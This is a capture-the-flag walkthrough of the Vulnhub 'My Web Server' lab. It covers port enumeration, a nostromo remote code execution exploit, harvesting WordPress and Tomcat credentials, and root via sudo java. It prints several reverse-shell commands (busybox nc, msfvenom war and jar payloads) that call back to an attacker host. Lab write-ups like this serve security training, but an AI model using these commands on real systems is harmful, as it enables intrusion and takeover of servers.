My Web Server

Vulnhub My Web Server
Difficulty: Medium
OS: Linux
Song: Waylon Jennings - "Drinkin' and Dreamin'"

Enumeration

```
$nmap -sCV -p- 192.168.1.211 --min-rate 6000 -oN mywebserver
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
2222/tcp open http nostromo 1.9.6
3306/tcp open mysql MySQL (unauthorized)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8081/tcp open http nginx 1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Here we see an obnoxious amount of open ports. We can discard port 22 for now as we have no credentials and move onto the website on port 80.

Port 80

First, add the IP to your `/etc/hosts` file as `http://www.armour.local` because it doesn't load any other page except for the index without it. Looking around, we have a search function. After searching, we see the query put directly into the `?/s=` parameter. This can sometimes be leveraged to leak files such as `/etc/passwd` or configuration files, referred to as `Local File Inclusion`. I wasted a lot of time here trying every manner of LFI exploitation that I know of. Don't be me, none of it works, no matter how you encode your search.

After giving up on getting LFI, I moved onto fuzzing for parameters other than `/?s=` with gobuster:

```
$gobuster fuzz -u http://www.armour.local/?FUZZ= -w
/home/user/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
```

Also to no avail. As it's a WordPress site, I enumerated with `wpscan` and came up with a username `ap20dser039` but we could have found that without any tools, because the user has a blog post on the site. So, nothing useful was found.

Before falling too deep into the rabbit hole, let's move on because there are a lot more services to attack.

Port 2222

On port 2222 we see we have `nostromo 1.9.6`. I have no idea what that is, so I went directly to `searchsploit` looking for an exploit:

```
$searchsploit nostromo
---------------------------------------------- ------------------------------
-
Exploit Title | Path
---------------------------------------------- ------------------------------
-
....snip....
nostromo 1.9.6 - Remote Code Execution | multiple/remote/47837.py
....snap...
```

Remote Code Execution is a lovely thing, so we copy it into our current directory.

```
searchsploit -m 47837.py .
```

It's written for python2, so using `2to3` command, we bring it up to date and run it:

```
python3 47837.py 192.168.1.211 2222 "id"
```

Trying out the `id` command before anything, we see that we are user `daemon`

Now, set up a `nc` listener in a different terminal and run a reverse shell:

```
python3 47837.py 192.168.1.211 2222 "busybox nc YOUR-IP 9001 -e sh"
```

Going back to `netcat`, we notice we picked up the connection.

Enumeration As Daemon

Now that we are the user `daemon`, we can explore some more. After checking `sudo -l` and seeing we can't use `sudo` without a password, the first order of business should be to go to the `var` directory and poke around. We see there are two websites inside `www/html`. Site 1 is the website located on Port 80. List the files inside the directory with `ls -la` and you'll see a file `wp-config.php`. Reading it, we stumble across the MySQL username and password:

```
....snip....
define( 'DB_NAME', 'wp_db' );

/** MySQL database username /
define( 'DB_USER', 'REDACTED );
```

```
/** MySQL database password /
define( 'DB_PASSWORD', 'REDACTED' );
....snap....
```

No other file in the directory is very interesting, so let's move on quickly to the MySQL database to see what we see.

MySQL DB

Navigating to the `wp_db` in MySQL, we will use `select * from wp_users;` to cat the file and we come up with a username and a hash:

```
ap20dser039 : $P$BKU//mILNMJMq/5eF7jzxe7Qo.9XDc0
```

The `$P$` denotes a PHPass Portable Password Hash, which is relatively outdated, but you do see it in older WordPress installs and PHP applications. Save the hash in a file and try to crack it with `john` or `hashcat` while we go back to enumeration with `daemon`.

```
$john hash --wordlist=/home/user/SecLists/rockyou.txt
```

Enumeration With Linpeas

Set up a `python3 -m http.server` and change over to the `/tmp` directory as `daemon` to bring `linpeas.sh` over via `wget`. We usually switch to `/tmp` as it will typically have very loose `RWX` permissions. Change the permissions with `chmod +x linpeas.sh` and execute with `./linpeas.sh`

Reviewing the findings, we come across usernames and passwords for the `Apache/Tomcat` server on port 8080:

```
user username="tomcat" password="@sprot0230sp" roles="manager-gui"
user username="admin" password="as3epr04irto" roles="admin-gui"
```

Nothing else in the results was very useful, so we will go to `http://www.armour.local:8080` and log in as the user `tomcat` with the password to the `manager-app` portal.

Shell As Tomcat

At this point, I was reminded of another CTF I've done in the past, attacking Tomcat. Since a lot of VulnHub VMs are mirrors of other CTFs, I tried the same technique.

First, in our local machine, we will make a `.war` file that contains a reverse shell utilizing `msfvenom`:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war >
shell.war
```

Start a `nc` listener and go to the `Deploy` section of the Tomcat website, where you'll see an option to upload your new `.war` file. Upload your file and it will appear above in the green and white boxes as `/shell`. Click on it and you will catch the reverse shell as the user `tomcat`.

Escalation to Root

Now that we have a shell as the user `tomcat`, start with `sudo -l` to check if we can do anything. We see that we have the ability to use `/usr/lib/jvm/adoptopenjdk-8-hotspot-amd64/bin/java` as `sudo`. This is essentially a way to run java, so we will create a `.jar` reverse shell on our local machine to give us root. On our local machine:

```
$msfvenom -p java/shell_reverse_tcp lhost=YOUR-IP lport=9002 -f jar > shell.jar
```

Once it's created, go back to the terminal as `tomcat`, change directory to `/tmp` and use `wget` to bring over your `shell.jar` file. Give it permissions with `chmod +x shell.jar` and start a `nc` listener on your local machine.

In the remote machine:

```
$sudo /usr/lib/jvm/adoptopenjdk-8-hotspot-amd64/bin/java -jar shell.jar
```

Going back to your listener, you're now `root`. You can find the flag in the `/root` folder as always.

Things I Learned

Unfortunately, I learned a lot about things that didn't work on the box. I spent an hour trying every manner of exploiting LFI because I thought it was the way to go. I can encode and decode and write PHP filters for everything at this point, sure, but it was a rabbit hole I fell into. The lesson here is just go for the sure things when they're presented to you. Sometimes it's just that easy.